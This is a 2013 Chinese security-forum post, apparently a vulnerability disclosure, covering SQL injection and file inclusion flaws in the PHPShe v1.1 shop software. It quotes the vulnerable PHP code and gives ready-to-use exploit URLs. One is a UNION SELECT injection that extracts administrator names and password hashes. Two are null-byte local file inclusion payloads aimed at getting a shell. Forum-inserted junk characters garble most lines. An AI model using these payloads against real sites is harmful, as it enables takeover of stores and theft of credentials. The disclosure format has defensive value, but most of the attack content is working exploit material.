找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2341|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/) _9 D! f! `+ I4 c6 `
/* Phpshe v1.1 Vulnerability+ A* L7 q3 I& r1 v1 L2 M
/* ========================
7 ~' `% B. p7 r! G3 [( r* C1 l( Q' S- n/* By: : Kn1f3
3 S1 b4 \" P( ^+ F. a/* E-Mail : 681796@qq.com8 l: u; O- u8 q+ L$ f$ S( X
/*******************************************************/0 b9 d" h, A$ k$ q6 u! q
0×00 整体大概参数传输/ l* l- a& a; m8 f/ l
  r, X% S1 {8 o) z5 b, O- ]+ H: T8 ?

  F4 q( V7 S; H: q3 k/ _
. B1 S1 f& e6 X% N# x4 c# U
//common.php' U5 d# ^. j; C& E
if (get_magic_quotes_gpc()) {5 U( w# j1 N; {: A" v. C) E
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');- u6 q2 [7 @+ S
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
, X4 q* R( q6 a9 Y7 n: L8 q2 D}
9 v! n! q/ S& A! ~$ G/ [% M2 P- Delse {
/ U6 G1 H3 j9 i9 u& U!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');' T8 u3 G5 e- N/ J
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
, b% C8 |# v4 b8 ^" l}
% O# j7 t! \' ]session_start();* r8 x0 l4 f7 g, Z
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
( P+ F# A* O- `/ G. [% [+ f# ?!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');$ ^2 N6 _2 q  `% S& o- y" V
7 A3 R3 k& |: L! M1 b- U
0×01 包含漏洞9 d: ?: s- G- A/ c' g

5 E$ U3 t3 G2 V3 i

; G5 U% i; W! n; [& C//首页文件
1 m# h* g* j/ U* @% D# N6 c8 U<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);( E+ f9 B# x* f6 [
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞0 f! k0 k' c+ x
pe_result();
$ A; `3 R7 F! H% x+ q) q) {) c?>
# ?8 s  y- T$ E4 F//common 文件 第15行开始! O  C( ?) [- M0 Y. G" O8 t. D
url路由配置
' b8 K6 Y8 ~# Y9 H  H$module = $mod = $act = 'index';
+ m4 x/ I& p0 v& D2 X$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
/ d+ N+ }$ J* \5 x$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);! ^' M! k$ h+ B& e8 v2 E% D
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
- Z( U- y8 }4 ^' u//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00* J& V9 b& h# Z$ z0 s


1 u! G3 c1 O; t8 q5 l 6 @5 a9 Y! O, ^7 o! n& p
0×02 搜索注入. Z' e8 e  M% i3 h9 Y4 [7 P
4 n5 B9 J7 D: }
<code id="code2">

//product.php文件
) |, g4 u+ O; c5 [9 Vcase 'list':$ Z2 ^$ X0 j8 S/ h
$category_id = intval($id);+ {  J6 V7 F9 ^# H5 k. k; a
$info = $db->pe_select('category', array('category_id'=>$category_id));
2 O1 m0 R7 F9 k* o$ E//搜索4 \9 o8 T/ ^3 O  K' H0 A- P6 i
$sqlwhere = " and `product_state` = 1";
5 z+ N) Z$ T% Ope_lead('hook/category.hook.php');( j1 j/ \% i+ G; e4 `( p7 g: m
if ($category_id) {2 J: }; K) C1 h
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
9 C/ K  Q1 ^* l. I; H( f4 x0 J& n}7 v; A" i9 C$ w: e6 X7 n
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
7 U: H# Q! j1 m/ q" _if ($_g_orderby) {
0 `# M4 t, |' L0 B0 m$ W( E$orderby = explode('_', $_g_orderby);& m" {$ F. U4 y7 D5 \
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
, u* G+ A2 s( M}. }/ t3 i* h  o$ u- d
else {
7 m3 h1 A* u* P2 Q# t$sqlwhere .= " order by `product_id` desc";
; w0 S4 _. k. R2 L5 Z}* [' Q4 h0 D$ \
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));3 S7 f/ C5 y9 e, J. W
//热卖排行, R+ D+ s4 ^" O' I
$product_hotlist = product_hotlist();  H# K2 i' j3 |2 q+ R
//当前路径
3 x) O# M2 v4 w, P$nowpath = category_path($category_id);
. ~& ^+ ]7 f. G0 _$seo = pe_seo($info['category_name']);
0 d4 j. e2 C+ o: f3 Ginclude(pe_tpl('product_list.html'));8 [! v$ [7 e0 }. d; z0 T- {  r3 u
//跟进selectall函数库
! k6 B9 g3 Z7 M3 A7 w2 E. d. I: vpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
) R  b- m% v" W8 K{. u, J$ A* y' K0 E- s$ ]: D
//处理条件语句
' c+ V0 }2 I  M4 n% g5 t- z9 u( R$sqlwhere = $this->_dowhere($where);
; E4 D! P8 f* U+ y# `return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);! e* a( E# C" }5 p% D! b
}8 B2 z) m' s( Y  H
//exp
. d7 e6 p$ e: Qproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
+ P' J8 W: A, v/ M6 a* l

</code>) a2 ~# ?* e" O* p
2 e8 d4 y+ K" z5 O, e  G5 p( Q; z
0×03 包含漏洞2
6 @# h! |8 M* u$ w  B0 }( { 8 ~  c' P& [. v: {' ?
<code id="code3">

//order.php

case 'pay':


  ~# T& \  S  q$ S) C; c" @$order_id = pe_dbhold($_g_id);

6 V; X- v) d5 v) I% z6 u( H
$cache_payway = cache::get('payway');

- Z+ u+ _) P* U: N  Y4 H; h
foreach($cache_payway as $k => $v) {

" k7 E, g5 u( T  u/ m6 N
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


* T$ g: [! K6 v  g' ^: U2 c% vif ($k == 'bank') {

$ G+ {5 N) e; y8 v
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

3 \$ w) X2 E# a( k
}

1 ?  H% k5 d2 Z5 p. Z8 J0 i
}


/ p' i8 [0 M; e* a$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

! w" m" ~  i; b& H0 S
!$order['order_id'] && pe_error('订单号错误...');

# b0 v5 U2 A4 B  N4 Z
if (isset($_p_pesubmit)) {


/ R5 i  L- B# X# rif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


1 |* t$ m7 v1 A4 o7 E; h# n0 V$ k! C$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


) S7 v$ c0 d# {) w7 |! G8 e7 iforeach ($info_list as $v) {


& l2 c2 A. `% U) I' ]8 y: ~4 R0 @$order['order_name'] .= "{$v['product_name']};";9 `- s0 f: o) w4 ?' l


. H: S: }' H4 I% m) n. r" Y! h  F5 W}

/ W) T- @- M6 }7 B: g# k* B" e& m
echo '正在为您连接支付网站,请稍后...';


& R; ]! Q9 [, dinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


/ F  `1 z% |2 d/ a9 P* J}//当一切准备好的时候就可以进行"鸡肋包含了"


( }4 k% g1 l+ m) ~6 E. G8 Nelse {


* K$ {* Z- f+ q1 T7 J/ Ppe_error('支付错误...');

& h1 W0 q2 w# D: h6 @9 a
}


( k$ F1 `, G! ~* Q3 w$ z% Q}

3 q2 _1 D5 ^( L2 U( ]5 \$ C8 ]
$seo = pe_seo('选择支付方式');


/ M! M+ y5 t) X: b' m$ xinclude(pe_tpl('order_pay.html'));

: B7 U# O3 {! ]1 t
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>( w) W+ e7 B) S/ K: a9 w+ R: f
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表